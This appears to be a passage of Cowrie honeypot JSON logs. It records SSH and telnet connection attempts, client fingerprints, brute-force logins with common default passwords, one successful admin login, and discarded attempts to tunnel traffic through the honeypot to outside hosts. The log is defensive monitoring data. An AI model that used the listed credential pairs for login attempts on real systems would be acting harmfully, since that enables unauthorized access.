\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xb42x\\x03\\xac \\xfck^R]\\xac\\xe4~\\xfa4\\x8e~fu$@\\\\*\\xe8\\xd4\\xd9\\xe8\\x96\\x16\\x8a \\xe5\\rE_\\x89\\xf2x8\\\\V\\xcb\\xa6i\\x94\\xb0\\xde\\x93\\xd4\\xcc\\xfd\\x9e\\xfb\\x82\\x08e^+\\x94\\xaee)\\xdc\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 jy\\xd7\\xba\\xe7\\x8b\\x9b$\\x9ee\\x88\\x9b\\xd5\\x08\\xe5R\\xa5\\xa8\\xa6\\xb4m_\\x8cN\\xa0\\x19\\xc6\\xcb8a\\xd3Q\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:14.473659Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:14.929451Z","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:15.156735Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xb3\\xaf\\x97\\xbb3Y\\xa7&=\\x8au\\xca<w\\xc9[\\xc5\\xb1\\xd5p\\xc3\\xd0\\xab\\x1f\\xba\\xc3\\xad?D\\xc8\\xcc \\xe96\\xfe\\xcc(8B\\xda+%u\\xba\\x9dc\\x01>0\\x1bG\\xbf\\xf2\\x85)\\xe0\\xcf>\\x87\\nP\\x83T\\x8c\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9\\xf9\\rb\\x06\\xe7\\xd4\\x12\\x96Q\\xebN\\rk\\xd0\\xb5\\xcc\\xfc\\x00;\\x10\\x1c{\\xa0\\xb0_\\xd1\\xf5\\x81\\x0crA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x17\\xb3\\xaf\\x97\\xbb3Y\\xa7&=\\x8au\\xca<w\\xc9[\\xc5\\xb1\\xd5p\\xc3\\xd0\\xab\\x1f\\xba\\xc3\\xad?D\\xc8\\xcc \\xe96\\xfe\\xcc(8B\\xda+%u\\xba\\x9dc\\x01>0\\x1bG\\xbf\\xf2\\x85)\\xe0\\xcf>\\x87\\nP\\x83T\\x8c\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe9\\xf9\\rb\\x06\\xe7\\xd4\\x12\\x96Q\\xebN\\rk\\xd0\\xb5\\xcc\\xfc\\x00;\\x10\\x1c{\\xa0\\xb0_\\xd1\\xf5\\x81\\x0crA\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:15.160728Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:15.528564Z","src_ip":"123.27.168.40","session":"c005e611f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.92041230201721,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:18.766459Z","src_ip":"172.81.62.90","session":"e94481a6a3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":39662,"dst_ip":"159.203.135.109","dst_port":22,"session":"d547b689e4c6","protocol":"ssh","message":"New connection: 101.79.165.43:39662 (159.203.135.109:22) [session: d547b689e4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:27.815253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:27.820765Z","src_ip":"101.79.165.43","session":"d547b689e4c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.035456Z","src_ip":"101.79.165.43","session":"d547b689e4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4291545c6eb","protocol":"telnet","message":"New connection: 128.199.8.54:35136 (159.203.135.109:23) [session: e4291545c6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.083460Z"}
{"eventid":"cowrie.session.closed","duration":0.005056142807006836,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.088352Z","src_ip":"128.199.8.54","session":"e4291545c6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":40390,"dst_ip":"159.203.135.109","dst_port":22,"session":"f85d0aa9beff","protocol":"ssh","message":"New connection: 2.99.213.222:40390 (159.203.135.109:22) [session: f85d0aa9beff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.171807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.177377Z","src_ip":"2.99.213.222","session":"f85d0aa9beff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.279676Z","src_ip":"2.99.213.222","session":"f85d0aa9beff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456789","message":"login attempt [root/qQ123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.722208Z","src_ip":"2.99.213.222","session":"f85d0aa9beff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:28.931345Z","src_ip":"101.79.165.43","session":"d547b689e4c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:29.830793Z","src_ip":"2.99.213.222","session":"f85d0aa9beff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:30.150135Z","src_ip":"101.79.165.43","session":"d547b689e4c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.60.242.169","src_port":52870,"dst_ip":"159.203.135.109","dst_port":22,"session":"15198f328315","protocol":"ssh","message":"New connection: 103.60.242.169:52870 (159.203.135.109:22) [session: 15198f328315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:34.162308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:34.166736Z","src_ip":"103.60.242.169","session":"15198f328315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:34.411436Z","src_ip":"103.60.242.169","session":"15198f328315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@1234","message":"login attempt [root/Qwerty@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:35.424961Z","src_ip":"103.60.242.169","session":"15198f328315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:36.672764Z","src_ip":"103.60.242.169","session":"15198f328315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":49981,"dst_ip":"10.17.0.5","dst_port":22,"session":"64cd4ba2b477","protocol":"ssh","message":"New connection: 123.27.168.40:49981 (10.17.0.5:22) [session: 64cd4ba2b477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:44.141478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:44.148126Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:44.476300Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:45.655931Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:46.142291Z","session":"64cd4ba2b477","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:45:46.399971Z","src_ip":"123.27.168.40","session":"64cd4ba2b477","protocol":"ssh"}
